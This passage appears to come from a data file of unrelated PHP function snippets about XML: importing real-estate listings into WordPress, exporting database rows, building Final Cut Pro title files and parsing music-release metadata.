text-decoration:none;\">'.$registre['TITOL'].'</a>' : '';\n\n\n return '<li id=\"rss_reg' . $id_registre . '\" class=\"box removable stylable '.$estilElement.'\">\n\t\t\t'.$parametres.'\n\t\t\t<div class=\"spacer clearfix\">\n\t\t\t\t<h4>'.$registre['origen'].'</h4>\n\t\t\t\t'. $registre['RESUM'].'\n\t\t\t</div>\n\t\t</li>';\n}", "function cc_elabora_file_xml($offerte){\n\t\n\tglobal $wpdb; // oggetto interazione DB di WordPress\n\t\n\t// path dove si trova file xml sorgente, config.xml e file di log\n\t$path = ABSPATH . \"import/\";\n\t\n\t$results = $deleted = array(); \n\t\n\t// apro file config (xml) da cui prendere data ultima elaborazione ed in cui memorizzare i risultati di elaborazione\n\t$config = @simplexml_load_file($path.\"configs.xml\");\n\tif(!$config){\n\t\t// file config non trovato notifico e esco \n\t\tcc_import_error(\"File config non trovato!\");\t\t\t\n\t}\n\t\t\n\t// recupero tutti gli id cometa già presenti in tabella postmeta. _id_cometa è un postmeta mio\n\t$record_presenti = cc_get_unique_post_meta_values(\"_id_cometa\"); // restituisce array con chiave post_id\n\t\n\t// recupero da file config data ultimo aggiornamento - NON PIU' UTILIZZATO, uso data all'interno del file xml\n\t//$last_update = new DateTime( (string) $config->lastUpdate );\n\t\n\t// contatore record\n\t$line = 0;\n\t\n\t// loop offerte da xml sorgente\n\tforeach($offerte as $offerta){\n\t\t\n\t\t$line++;\n\t\tcc_import_immobili_error_log($line); // aggiorno log elaborazione con numero progressivo record \n\t\t\n\t\t$idunique = (int) $offerta->Idimmobile; // campo univoco Cometa\n\t\t$rif = (string) $offerta->Riferimento; // Rif / codice immoible\n\t\t$contratto = (string) $offerta->Contratto; // il tipo di contratto (Vendita o Affitto)\n\t\t$hasfoto = (empty((string) $offerta->FOTO1)) ? false : true;\n\t\t\n\t\tcc_import_immobili_error_log($rif); // aggiorno log elaborazione con il rif immobile\n\t\t\n\t\t// non importo gli immobili in affitto e quelli senza foto\n\t\tif($contratto == \"Affitto\" or !$hasfoto){\n\t\t\t\n\t\t\t// aggiorno contatori in file config.xml. L'ultimo param in cc_update_configs indica di incrementare il valore già presente\n\t\t\tif($contratto == \"Affitto\") cc_update_configs(\"affitto\", 1, true); // aggiorno contatore affitti\n\t\t\tif(!$hasfoto) cc_update_configs(\"nofoto\", 1, true); // aggiorno contatore affitti\n\t\t\t\n\t\t\t// registro motivo perché salto importazione in file di log\n\t\t\t$whyskipped = \"Saltato perche contratto \".$contratto;\n\t\t\tif(!$hasfoto) $whyskipped .= \" e non ha foto\";\n\t\t\tcc_import_immobili_error_log($whyskipped);\n\t\t\tcontinue; // passo al prossimo record immobile\n\t\t} \n\t\t\n\t\t// Recupero ultima data modifica dell'immobile su Cometa\n\t\t$DataAggiornamento = (string) $offerta->DataAggiornamento;\n\t\t$DataAggiornamento = substr($DataAggiornamento, 0, -6); // elimino +1:00 da valore data se no non è allineato con tempo server\t\t\n\t\t$data_ultima_modifica_record = new DateTime( $DataAggiornamento );\t// creo oggetto DateTime\t\t\t\t\t\t\t\n\t\t\t\t\n\t\t// controllo se l'id del record è già presente in DB e decido dunque se richiamare funzione di insert o update\n\t\tif(in_array($idunique, $record_presenti)){\n\t\t\t\t\t\t\n\t\t\t// è già presente in db - richiamo funzione che aggiorna record passando id tabella posts e oggetto xml dell'offerta\n\t\t\t$post = array_search($idunique, $record_presenti); // recupero chiave array che è post_id\n\t\t\t\n\t\t\t// recupero data ultimo aggiornamento record in tabella posts\n\t\t\t$md = get_the_modified_time( \"Y-m-d H:i:s\", $post );\n\t\t\t$post_last_modified = new DateTime( $md );\n\t\t\t\n\t\t\t// se la data dell'ultimo aggiornamento record in posts è maggiore della data di modifica in Cometa \n\t\t\t// aumento contatore skipped, tolgo id da elenco record da cancellare e passo al record successivo\n\t\t\tif($post_last_modified >= $data_ultima_modifica_record){\n\t\t\t\t\n\t\t\t\t// rimuovo immobile da elenco già presenti - a fine lavoro quelli rimasti verranno eliminati da DB\n\t\t\t\tunset($record_presenti[$post]); \n\t\t\t\t\n\t\t\t\t// aggiorno log e contatore in config.xml\n\t\t\t\t$msg_skipped = \"Record \".$post.\" DATA RECORD XML: \".$data_ultima_modifica_record->format(\"Y-m-d H:i:s\");\n\t\t\t\t$msg_skipped .= \" DATA RECORD IN POSTS: \".$post_last_modified->format(\"Y-m-d H:i:s\");\n\t\t\t\tcc_import_immobili_error_log(\"skipped\");\n\t\t\t\tcc_update_configs(\"skipped\", 1, true);// incremento valore di skipped di uno\n\t\t\t\tcontinue; // il record non è stato modificato, passo al prossimo record\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t/**\n\t\t\t * Richiamo funzione cc_update_record che aggiorna record in DB\n\t\t\t * \n\t\t\t * @param $post: post_id in tabella postmeta\n\t\t\t * @param $offerta: oggetto xml del singolo immobile\n\t\t\t * @return string con valore \"updated\" o errore rilevato\n\t\t\t */\n\t\t\t$results[$rif] = cc_update_record($post, $offerta); \n\t\t\t\n\t\t\t// elimino da record_presenti questo record. quelli che alla fine rimangono verranno cancellati\n\t\t\tunset($record_presenti[$post]); \n\t\t\t\n\t\t}else{\n\t\t\t/**\n\t\t\t * Record nuovo. Richiamo funzione cc_insert_record che inserisce un nuovo record in DB\n\t\t\t * \n\t\t\t * @param $offerta: oggetto xml del singolo immobile\n\t\t\t * @return string con valore \"inserted\" o errore rilevato\n\t\t\t */\n\t\t\t$results[$rif] = cc_insert_record($offerta);\n\t\t\t// aggiungo dicitura inserted in file log per indicare che il record è stato inserito con successo\n\t\t\tcc_import_immobili_error_log(\"inserted\"); \n\n\t\t}\n\t\t\n\t} // end foreach $offerte - finito elabroazione di tutti i record presenti nel file xml\n\t\n\t/* Procedura di cancellazione immobili non più presenti\n\t * Se l'array record_presenti non è vuoto vuol dire che uno o più immobili attualmente in db non sono più\n\t * presenti su Cometa esportazione ergo sono da cancellare da db\n\t *\n\t * @param $id2delete: id record in wp_posts\n\t * @param $id_cometa: id univoco Cometa, non utilizzato in questo frangente\n\t */\t\n\tif(!empty($record_presenti)){\n\t\t// loop record\n\t\tforeach($record_presenti as $id2delete => $id_cometa){\n\t\t\t// uso funzione di WP per cancellare record da posts\n\t\t\t$deleted = wp_delete_post( $id2delete, false ); // 2° param indica se il record dev'essere spostato in cestino (false) o se dev'essere cancellato (true)\n\t\t\tcc_update_configs(\"deleted\", 1, true); // incremento contatore deleted di 1 in config.xml\n\t\t}\n\t\t// aggiorno log con elenco degli immobili cencellati\n\t\t$msg = implode(\", \", $record_presenti);\n\t\tcc_import_immobili_error_log(\"Deleted: \".$msg);\n\t}\n\t\n\t/* Restituisci a cc_import_xml_file() array con chiave Rif e come valore \"inserted\", \"updated\" \n\t * o errore rilevato (risultato di cc_insert_record() o cc_update_record() )\n\t*/\n\treturn $results; \n\t\n}", "function add_description($DataDecode){\n $countarray=(count($DataDecode)-1);\n \n $xml=new DOMDocument(\"1.0\");\n $root=$xml->createElement(\"map\");\n $xml->appendChild($root);\n //strt create the first module\n $Fmodule = $xml->createElement(\"Fmodule\");\n\n $Fmoduleid = $xml->createElement(\"FmoduleID\");\n $FmoduleText = $xml->createTextNode(\"\");\n $Fmoduleid->appendChild($FmoduleText);\n \n $Fmodulename=$xml->createElement(\"Fmodulename\");\n $FmodulenameText=$xml->createTextNode(preg_replace('/\\s+/', '',$DataDecode[0]->temparray->FirstModule));\n $Fmodulename->appendChild($FmodulenameText);\n\n $Fmodule->appendChild($Fmoduleid);\n $Fmodule->appendChild($Fmodulename);\n\n //second module\n $Secmodule = $xml->createElement(\"Secmodule\");\n\n $Secmoduleid = $xml->createElement(\"SecmoduleID\");\n $SecmoduleText = $xml->createTextNode(preg_replace('/\\s+/','',explode(\";\",$DataDecode[0]->temparray->Secmodule)[1]));\n $Secmoduleid->appendChild($SecmoduleText); \n $Secmodulename=$xml->createElement(\"Secmodulename\"); \n $SecmodulenameText=$xml->createTextNode( trim(preg_replace('/\\s*\\([^)]*\\)/', '',preg_replace(\"(many)\",'', preg_replace('/\\s+/', '', explode(\";\",$DataDecode[0]->temparray->secmodule)[0]))))); \n $Secmodulename->appendChild($SecmodulenameText); \n $Secmodule->appendChild($Secmoduleid);\n $Secmodule->appendChild($Secmodulename); \n $fields = $xml->createElement(\"fields\");\n\n for($i=0;$i<=$countarray;$i++)\n { \t\t\n \t\t// //get target field name\n\t $field = $xml->createElement(\"field\");\n\n\t\t\t\t \t$label = $xml->createElement(\"label\");\n\t\t\t\t \t$labelText=$xml->createTextNode($DataDecode[$i]->temparray->DefaultValueText);\n\t\t\t\t \t$label->appendChild($labelText);\n\t\t\t\t \t$field->appendChild($label);\n\n\t\t\t\t \t$name = $xml->createElement(\"name\");\n\t\t\t\t \t$nameText=$xml->createTextNode(explode(\":\",$DataDecode[$i]->temparray->SecondField)[1]);\n\t\t\t\t \t$name->appendChild($nameText);\n\t\t\t\t \t$field->appendChild($name);\n\n\t\t\t\t \t$table = $xml->createElement(\"table\");\n\t\t\t\t \t$tableText=$xml->createTextNode(explode(\":\",$DataDecode[$i]->temparray->SecondField)[0]);\n\t\t\t\t \t$table->appendChild($tableText);\n\t\t\t\t \t$field->appendChild($table);\n\n\t\t\t\t \t$columnname = $xml->createElement(\"columnname\");\n\t\t\t\t \t$columnnameText=$xml->createTextNode(explode(\":\",$DataDecode[$i]->temparray->SecondField)[2]);\n\t\t\t\t \t$columnname->appendChild($columnnameText);\n\t\t\t\t \t$field->appendChild($columnname);\t\t\t \t\t\t\t \t\n\t\t\t \n\t\t\t $fields->appendChild($field);\t\t\t \t\t\t \n }\n \n for ($i=0; $i <=$countarray ; $i++) { \n\n\n \n if ($i!=0) {\n\t\t\t\t \t\n\t \t\tif (explode(\":\",$DataDecode[$i]->temparray->Firstfield)[1]!=explode(\":\",$DataDecode[$i-1]->temparray->Firstfield)[1] )\n\t \t\t{\n\t \t\t\t$field2 = $xml->createElement(\"field\");\n\n\t\t\t \t$label2 = $xml->createElement(\"label\");\n\t\t\t \t$labelText2=$xml->createTextNode($DataDecode[$i]->temparray->DefaultValueFirstModuleField);\n\t\t\t \t$label2->appendChild($labelText2);\n\t\t\t \t$field2->appendChild($label2);\n\n\t\t\t \t$name2 = $xml->createElement(\"name\");\n\t\t\t \t$nameText2=$xml->createTextNode(explode(\":\",$DataDecode[$i]->temparray->Firstfield)[1]);\n\t\t\t \t$name2->appendChild($nameText2);\n\t\t\t \t$field2->appendChild($name2);\n\n\t\t\t \t$table2 = $xml->createElement(\"table\");\n\t\t\t \t$tableText2=$xml->createTextNode(explode(\":\",$DataDecode[$i]->temparray->Firstfield)[0]);\n\t\t\t \t$table2->appendChild($tableText2);\n\t\t\t \t$field2->appendChild($table2);\n\n\t\t\t \t$columnname2 = $xml->createElement(\"columnname\");\n\t\t\t \t$columnnameText2=$xml->createTextNode(explode(\":\",$DataDecode[$i]->temparray->Firstfield)[2]);\n\t\t\t \t$columnname2->appendChild($columnnameText2);\n\t\t\t \t$field2->appendChild($columnname2);\n\t \t\t}\n\t }else\n {\n \t$field2 = $xml->createElement(\"field\");\n\n\t \t$label2 = $xml->createElement(\"label\");\n\t \t$labelText2=$xml->createTextNode($DataDecode[$i]->temparray->DefaultValueFirstModuleField);\n\t \t$label2->appendChild($labelText2);\n\t \t$field2->appendChild($label2);\n\n\t \t$name2 = $xml->createElement(\"name\");\n\t \t$nameText2=$xml->createTextNode(explode(\":\",$DataDecode[$i]->temparray->Firstfield)[1]);\n\t \t$name2->appendChild($nameText2);\n\t \t$field2->appendChild($name2);\n\n\t \t$table2 = $xml->createElement(\"table\");\n\t \t$tableText2=$xml->createTextNode(explode(\":\",$DataDecode[$i]->temparray->Firstfield)[0]);\n\t \t$table2->appendChild($tableText2);\n\t \t$field2->appendChild($table2);\n\n\t \t$columnname2 = $xml->createElement(\"columnname\");\n\t \t$columnnameText2=$xml->createTextNode(explode(\":\",$DataDecode[$i]->temparray->Firstfield)[2]);\n\t \t$columnname2->appendChild($columnnameText2);\n\t \t$field2->appendChild($columnname2);\n }\n \n $fields->appendChild($field2);\n }//end for\n\n //$root->appendChild($name);\n $root->appendChild($Fmodule);\n $root->appendChild($Secmodule);\n $root->appendChild($fields);\n $xml->formatOutput = true;\n return $xml->saveXML(); \n}", "public function toXML();", "function convertToXML($res, $filename) {\r\n //$result = $this->recordSet->select($sql);\r\n\t $result = $res;\r\n\t \r\n $this->xml->create_root();\r\n $this->xml->roottag->name = \"table\";\r\n \r\n while ($list_result = mysql_fetch_array($result)) {\r\n\r\n $this->xml->roottag->add_subtag(\"ROW\", array());\r\n $tag = &$this->xml->roottag->curtag;\r\n \t \r\n\t\t for ($i = 0; $i <= mysql_num_fields($result)- 1; $i++){\r\n\t \t $tag->add_subtag(mysql_field_name($result, $i), array());\r\n\t\t\t$tag->curtag->cdata = $list_result[$i];\r\n }\r\n\t }\r\n\t\r\n\t $xml_file = fopen($filename, \"w\" );\r\n $this->xml->write_file_handle( $xml_file );\r\n }", "private function close_xml()\n {\n $this->xmlw->endElement();\n $this->xmlw->endElement();\n $this->xmlw->endElement();\n }", "function xml_management($files, $prepinace, &$xml, $k, $n){\n foreach ($files as $file){\n $functions = file_content($file); // z kazdeho suboru odstranime nepotrebne informacie a rozparsujeme pre nasu potrebu\n if ($functions != NULL){ //ak v tom subore nejaka definicia/deklaracia funkcie bola: \n $array_nodupl = array();\n for($i = 0; $i < count($functions[0]); $i++){ //pre vsetky funkcie\n $functions[3][$i] = preg_replace('/[\\.\\.\\.]/','',$functions[3][$i],-1,$count); //zistovanie premenneho poctu argumentov\n if ($count){\n $var_args = \"yes\";\n } \t \t\n else{\n $var_args = \"no\";\n }\n \n if($prepinace[\"no-inline\"]){ //nezahrnutie funkcii s modifikatorom inline\n if(preg_match('/inline/u',$functions[1][$i]))\n\t continue; \n } \n \n \n if ($prepinace[\"removeWhitespaces\"]) //odstranenie prebytocnych bielych znakov uprostred navratoveho typu\n {\n $patterns = array(\"/\\s+/\", \"/\\s+\\*/\", \"/\\*\\s+/\");\n $replacements = array(\" \", \"*\", \"*\");\n $functions[1][$i] = preg_replace($patterns, $replacements, $functions[1][$i]);\n }\n \n /*\n V pripade udania parametru noDuplicates si vytvorime pomocne pole array_nodupl, \n do ktoreho postupne pridavame len funkcie, ktore tam este nie su obsiahnute.\n */\n if($prepinace[\"noDuplicates\"]){ \n if(!in_array($functions[2][$i], $array_nodupl)){\n array_push($array_dupl, $functions[2][$i]);\n }\n else{\n continue;\n }\n }\n \n $functions[1][$i] = trim($functions[1][$i]); //odstranenie prebytocnych bielych znakov\n \n /*volanie funkcie, ktora do premennej xml prida potrebny text na tlac xml suboru*/\n\t xml_inside_function($file, $functions[1][$i], $functions[2][$i],$functions[3][$i], $var_args, $xml, $prepinace, $k, $n); \n \n } \n }\n \n }\n\n}", "public function fcpx_xml($array) { //final cut pro x\n\n $xml = new SimpleXMLElement(\"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?><fcpxml version=\\\"1.4\\\"></fcpxml>\");\n $resources = $xml->addChild(\"resources\");\n\n foreach($array as $key => $value ) {\n\n //variabili utili\n $medianum= $key +3;\n $num= $key +1;\n $uidlength = 10;\n $uid = substr(str_shuffle(\"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"), 0, $uidlength);\n //end\n\n $media = $resources->addChild(\"media\");\n\n if ($key == 0) {\n $media->addAttribute('id', \"r1\");\n } else {\n $media->addAttribute('id', \"r${medianum}\");\n }\n\n $media->addAttribute('name', $value);\n $media->addAttribute('uid', $uid );\n\n\n $sequence = $media->addChild(\"sequence\");\n $sequence->addAttribute('duration', \"3s\");\n $sequence->addAttribute('format', \"r2\");\n $sequence->addAttribute('tcStart', \"0s\");\n\n $spine = $sequence->addChild(\"spine\");\n\n $title = $spine->addChild(\"title\");\n $title->addAttribute('name', \"Basic Title:\" . \" \" . $value);\n $title->addAttribute('offset', \"0s\");\n $title->addAttribute('ref', \"r3\");\n $title->addAttribute('duration', \"3s\");\n $title->addAttribute('start', \"3600s\");\n\n $param = $title->addChild(\"param\");\n $param->addAttribute('name', \"Baseline\");\n $param->addAttribute('key', \"9999/999166631/999166633/5/1999891762/6\");\n $param->addAttribute('value', \"-430\");\n\n $param = $title->addChild(\"param\");\n $param->addAttribute('name', \"Font\");\n $param->addAttribute('key', \"9999/999166631/999166633/5/1999891762/83\");\n $param->addAttribute('value', \"32 0\");\n\n $text = $title->addChild(\"text\");\n\n $textstyle = $text->addChild(\"text-style\", $value);\n $textstyle->addAttribute('ref', \"ts${num}\");\n\n $textstyledef = $title->addChild(\"text-style-def\");\n $textstyledef->addAttribute('id', \"ts${num}\");\n\n\n $textstyle = $textstyledef->addChild(\"text-style\");\n $textstyle->addAttribute('font', \"Arial\");\n $textstyle->addAttribute('fontSize', \"63\");\n $textstyle->addAttribute('fontFace', \"Regular\");\n $textstyle->addAttribute('fontColor', \"1 0.999974 0.999991 1\");\n $textstyle->addAttribute('alignment', \"center\");\n\n $adjusttransform = $title->addChild(\"adjust-transform\");\n $adjusttransform->addAttribute('position', \"0 -39.8148\");\n\n $metadata = $sequence->addChild(\"metadata\");\n\n $md = $metadata->addChild(\"md\");\n $md->addAttribute('key', \"com.apple.proapps.studio.metadataFieldDominanceOverride\");\n $md->addAttribute('value', \"0\");\n\n $md = $metadata->addChild(\"md\");\n $md->addAttribute('key', \"com.apple.proapps.studio.metadataAnamorphicType\");\n $md->addAttribute('value', \"0\");\n\n $md = $metadata->addChild(\"md\");\n $md->addAttribute('key', \"com.apple.proapps.studio.metadataDeinterlaceType\");\n $md->addAttribute('value', \"0\");\n\n if ($key == 0) {\n //R2-R3\n $format = $resources->addChild(\"format\");\n $format->addAttribute('id', \"r2\");\n $format->addAttribute('name', \"FFVideoFormat720p25\");\n $format->addAttribute('frameDuration', \"100/2500s\");\n $format->addAttribute('width', \"1280\");\n $format->addAttribute('height', \"720\");\n\n $effect = $resources->addChild(\"effect\");\n $effect->addAttribute('id', \"r3\");\n $effect->addAttribute('name', \"Basic Title\");\n $effect->addAttribute('uid', \".../Titles.localized/Bumper:Opener.localized/Basic Title.localized/Basic Title.moti\");\n }\n\n }\n\n //LIBRARY\n $library = $xml->addChild(\"library\");\n $library->addAttribute('location', \"file:///Users/ilgattohanuovecode/Movies/fcp.fcpbundle/\");\n\n $event = $library->addChild(\"event\");\n $event->addAttribute('name', \"Sottotitoli\");\n $event->addAttribute('uid', \"BA63E2F0-4D48-45F1-A158-D0D2164B1FC3\");\n\n foreach($array as $key => $value ) {\n $medianum= $key +3;\n\n $refclip = $event->addChild(\"ref-clip\");\n $refclip->addAttribute('name', $value);\n\n if ($key == 0) {\n $refclip->addAttribute('ref', \"r1\");\n } else {\n $refclip->addAttribute('ref', \"r${medianum}\");\n }\n\n $refclip->addAttribute('duration', \"19900/2500s\");\n\n }\n\n header('Content-type: text/xml');\n header('Content-Disposition: attachment; filename=\"final-cut-pro-X-title.fcpxml\"');\n\n echo $xml->asXML();\n exit();\n\n }", "function visita_XML($node,$lev) {\r\n\t$i=0;\r\n\twhile ($node) {\r\n\t\t$nome=$node->node_name();\r\n\t\techo \"<br> Livello $lev ° Elemento $i ° Nodo : $nome <br>\";\r\n\t\tprint_r($node);\r\n\t\tif ($node->has_attributes()) {\r\n\t\t\techo \"<br>-------- ATTRIBUTI ---------<br>\";\r\n\t\t\t$attr=$node->attributes();\r\n\t\t\tforeach ($attr as $v) {\r\n\t\t\t\tprint_r($v);\r\n\t\t\t\techo \"<br>\";\r\n\t\t\t}\r\n\t\t}\r\n\t\techo \"<br> Nodi Figli : \".count($node->child_nodes()).\"<br>\";\r\n\t\t$i++;\r\n\t\tif ($node->has_child_nodes()) {\r\n\t\t\t$lev++;\r\n\t\t\tvisita_XML($node->first_child(),$lev);\r\n\t\t\t$lev--;\r\n\t\t}\r\n\t\t$node= $node->next_sibling();\t\r\n\t}\r\n}", "function abrir_elemento($nombre)\n\t{\n\t\t$this->xml->startElement($nombre);\n\t}", "public function trataXML($conteudo)\r\n {\r\n $novo = \"\";\r\n\r\n // remove trailing spaces e quebras de linha\r\n $linhas = explode(\"\\n\", $conteudo);\r\n\r\n foreach ($linhas as $linha) {\r\n $linha = trim($linha);\r\n $novo .= $linha;\r\n }\r\n\r\n // remove quebras de linha windows, se houver?\r\n $novo = str_replace(\"\\r\", \"\", $novo);\r\n\r\n // escapa caracteres especiais (podem dar pau no danfe)\r\n if ($this->nota_fiscal->modelo != FaturamentoNotaFiscalETT::MODELO_NFC) { // não pode alterar o QR Code da NFC; achar outra forma?\r\n $novo = str_replace(\"&\", \"&amp;\", $novo);\r\n }\r\n\r\n // acerta codificação\r\n $novo = utf8_encode($novo);\r\n\r\n /* remove campos vazios <node/> -- pode ser lento?\r\n * AVISO: isso pode facilitar a geração de XML válido, mas reduzirá os detalhes da validação.\r\n * é melhor declarar campos opcionais com um if(!empty($valor)) $xml->writeElement(...)\r\n */\r\n // $novo = preg_replace('~<[^\\\\s>]+\\\\s*/>~si', null, $novo);\r\n\r\n return $novo;\r\n }", "public function generujXML() {\n // nadawca\n $elementNadawca = $this->xml->createElement($this->ElementXmlNazwa());\n\n foreach ($this->regulyWalidacji() as $regula) {\n $atrybutNadawca = $this->xml->createAttribute($regula['pole']);\n $atrybutNadawca->value = $this->$regula['pole'];\n $elementNadawca->appendChild($atrybutNadawca);\n }\n\n return $this->xml->appendChild($elementNadawca);\n }", "function tulis_file(){\n\t\trequire_once(\"dbconf.php\");\n\t\t$result = mysqli_query($conn, \"SELECT * FROM buku\");\n\t\t$xml = new DOMDocument('1.0'); $xml->preserveWhiteSpace = true; $xml->formatOutput = true; // Buat kerapihan file\n\t\t\n\t\t$group = $xml->createElement('KelompokJurnal');\n\t\t$xml->appendChild($group);\n\t\t\n\t\twhile($isi = mysqli_fetch_array($result, MYSQL_ASSOC)){\n\t\t\t\n\t\t\t// INISIASI\n\t\t\t$data = $xml->createElement('Jurnal'); // createElement($tagname), dilakukan pada DOMDocument, menghasilkan DOMNode\n\t\t\t$id = $xml->createElement('ID');\n\t\t\t$judul = $xml->createElement('Judul');\n\t\t\t$nama = $xml->createElement('NamaPenulis');\n\t\t\t$fakultas = $xml->createElement('Fakultas');\n\t\t\t\n\t\t\t// PENGISIAN DATA XML DAN PENGELOMPOKAN TAG LEVEL 2\n\t\t\t$id->nodeValue = htmlspecialchars($isi[\"ID\"]);\n\t\t\t$data->appendChild($id);\n\t\t\t\n\t\t\t$judul->nodeValue = htmlspecialchars( $isi[\"Judul\"]);\n\t\t\t$data->appendChild($judul); // $parentNode -> appendChild($childNode) \n\t\t\t\n\t\t\t$nama->nodeValue = htmlspecialchars($isi['NamaPenulis']);\n\t\t\t$data->appendChild($nama);\n\t\t\t\n\t\t\t$fakultas->nodeValue = htmlspecialchars($isi['Fakultas']);\n\t\t\t$data->appendChild($fakultas);\n\t\t\t\n\t\t\t// PENGELOMPOKAN TAG LEVEL 1\n\t\t\t$group->appendChild($data);\n\t\t}\n\t\t\n\t\t$xml->save('../Progif/XML/a.xml');\n\n\t\treturn \"Thank You!\";\n\t}", "public static function exportXML()\n {\n $xml = new \\XMLWriter();\n $xml->openMemory();\n $xml->setIndent(true);\n $xml->setIndentString(\"\t\");\n $xml->startDocument(\"1.0\", \"UTF-8\");\n $xml->startElement(\"productos\");\n $productos = self::findAll();\n foreach ($productos as $producto) {\n $xml->startElement(\"producto\");\n $xml->writeAttribute(\"id\", $producto->getId());\n $xml->writeElement(\"nombre\", $producto->getNombre());\n $xml->writeElement(\"descripcion\", $producto->getDescripcion());\n $urlImagen = $producto->getImagen() ? BASE_URL.\"/productos/{$producto->getId()}?image=1\": \"\";\n $xml->writeElement(\"imagen\", $urlImagen);\n if($categoria = $producto->getCategoria()) {\n $xml->startElement(\"categoria\");\n $xml->writeAttribute(\"id\", $categoria->getId());\n $xml->writeElement(\"nombre\", $categoria->getNombre());\n $xml->writeElement(\"descripcion\", $categoria->getDescripcion());\n $xml->endElement();\n }\n $xml->endElement();\n }\n $xml->endElement();\n return $xml->outputMemory();\n }", "function get_info_from_xml($xml_a_traiter)\n{\n\t//Création des tableaux\n\t\t$liste_info['message_id'] = array();\n\t\t$liste_info['isrc'] = array();\n\t\t$liste_info['technicalresourcedetailsreference'] = array();\n\t\t$liste_info['audiocodectype'] = array();\n\t\t$liste_info['bitrate'] = array();\n\t\t$liste_info['url'] = array();\t\t\n\t\t$liste_info['fichier_destination'] = array();\t\n\t\t$liste_info['album_grid'] = array();\t\n\t\t\t\n\t//Reading xml file\t\t\n\t\t$xmlContent = file_get_contents($xml_a_traiter);\t\n\t\tif ($xmlContent == \"\") \n\t\t{\n\t\t\techo \"Fichier XML Vide!\" . \"\\n\";\n\t\t}\n\t\telse \n\t\t{\n\t\t\t$tabXML = array();\n\t\t\t$tabXML = xml2array($xmlContent);\t\n\t\t}\n\t//************************************************************************************************************\t\n\t//Récuperation du MessageId\n\t\tif(isset($tabXML['ernm:PurgeReleaseMessage']))\n\t\t\t$liste_info['message_id'] = $tabXML['ernm:PurgeReleaseMessage']['MessageHeader']['MessageId']['value'];\n\t\telse\n\t\t\t$liste_info['message_id'] = $tabXML['ernm:NewReleaseMessage']['MessageHeader']['MessageId']['value'];\n\t//************************************************************************************************************\n\t//For processing the array in the same manner even if there is one or more sub-block\n\t\tif (isset($tabXML['ernm:NewReleaseMessage']['ResourceList']['SoundRecording'][0])) \n\t\t{\n\t\t\t//There are several sub-block\n\t\t\t$ProductInfoSoundRecording = null;\n\t\t\t$ProductInfoSoundRecording = $tabXML['ernm:NewReleaseMessage']['ResourceList']['SoundRecording'];\n\t\t}\n\t\telse \n\t\t{\n\t\t\t//There is one sub-block\n\t\t\t$ProductInfoSoundRecording = null;\n\t\t\t$ProductInfoSoundRecording[0] = $tabXML['ernm:NewReleaseMessage']['ResourceList']['SoundRecording'];\n\t\t}\n\t\t\n\t//************************************************************************************************************\t\n\t$nb_SoundRecording = count($ProductInfoSoundRecording);\n\tfor($element=0;$element<$nb_SoundRecording;$element++)\n\t{\t\n\t\t$info_track_tmp1['SoundRecording_SoundRecordingId_ISRC'] \t\t\t\t\t\t\t= $ProductInfoSoundRecording[$element]['SoundRecordingId']['ISRC']['value'];\n\t\t$info_track_tmp1['SoundRecording_ResourceReference'] \t\t\t\t\t\t\t\t= $ProductInfoSoundRecording[$element]['ResourceReference']['value'];\n\n\t\t//************************************************************************************************************\n\t\t//For processing the array in the same manner even if there is one or more sub-block\t\t\t\n\t\t\tif (isset($ProductInfoSoundRecording[$element]['SoundRecordingDetailsByTerritory']['TechnicalSoundRecordingDetails'][0])) \n\t\t\t{\n\t\t\t\t//There are several sub-block\n\t\t\t\t$ProductInfoTechnicalSoundRecordingDetails = null;\n\t\t\t\t$ProductInfoTechnicalSoundRecordingDetails = $ProductInfoSoundRecording[$element]['SoundRecordingDetailsByTerritory']['TechnicalSoundRecordingDetails'];\n\t\t\t}\n\t\t\telse \n\t\t\t{\n\t\t\t\t//There is one sub-block\n\t\t\t\t$ProductInfoTechnicalSoundRecordingDetails = null;\n\t\t\t\t$ProductInfoTechnicalSoundRecordingDetails[0] = $ProductInfoSoundRecording[$element]['SoundRecordingDetailsByTerritory']['TechnicalSoundRecordingDetails'];\n\t\t\t}\t\t\n\t\t//************************************************************************************************************\n\t\t$nb_TechnicalSoundRecordingDetails = count($ProductInfoTechnicalSoundRecordingDetails);\n\t\t\n\t\tfor($y=0;$y<$nb_TechnicalSoundRecordingDetails;$y++)\n\t\t{\n\t\t\tif(isset($ProductInfoTechnicalSoundRecordingDetails[$y]['BitsPerSample']['value']))\n\t\t\t{\n\t\t\t\tarray_push($liste_info['isrc'],$ProductInfoSoundRecording[$element]['SoundRecordingId']['ISRC']['value']);\n\t\t\t\tarray_push($liste_info['technicalresourcedetailsreference'],$ProductInfoTechnicalSoundRecordingDetails[$y]['TechnicalResourceDetailsReference']['value']);\n\t\t\t\tarray_push($liste_info['audiocodectype'],$ProductInfoTechnicalSoundRecordingDetails[$y]['AudioCodecType']['value']);\n\t\t\t\tarray_push($liste_info['bitrate'],$ProductInfoTechnicalSoundRecordingDetails[$y]['BitsPerSample']['value']);\t\t\t\n\t\t\t\tarray_push($liste_info['url'],$ProductInfoTechnicalSoundRecordingDetails[$y]['File']['URL']['value']);\t\t\t\n\t\t\t\tarray_push($liste_info['fichier_destination'],$ProductInfoTechnicalSoundRecordingDetails[$y]['TechnicalResourceDetailsReference']['value'].\"_\".$ProductInfoTechnicalSoundRecordingDetails[$y]['AudioCodecType']['value'].\"_\".$ProductInfoTechnicalSoundRecordingDetails[$y]['BitsPerSample']['value'].\"_\".$ProductInfoSoundRecording[$element]['SoundRecordingId']['ISRC']['value'].\".\".strtolower($ProductInfoTechnicalSoundRecordingDetails[$y]['AudioCodecType']['value']));\t\t\t\t\t\t\n\t\t\t}\n\t\t}\n\t}\n\t//************************************************************************************************************\t\n\t\t//For processing the array in the same manner even if there is one or more sub-block\n\t\t\tif (isset($tabXML['ernm:NewReleaseMessage']['ReleaseList']['Release'][0])) \n\t\t\t{\n\t\t\t\t//There are several sub-block\n\t\t\t\t$ProductInfoRelease = null;\n\t\t\t\t$ProductInfoRelease = $tabXML['ernm:NewReleaseMessage']['ReleaseList']['Release'];\n\t\t\t}\n\t\t\telse \n\t\t\t{\n\t\t\t\t//There is one sub-block\n\t\t\t\t$ProductInfoRelease = null;\n\t\t\t\t$ProductInfoRelease[0] = $tabXML['ernm:NewReleaseMessage']['ReleaseList']['Release'];\n\t\t\t}\n\t\t//************************************************************************************************************\t\n\t\t$nb_Release = 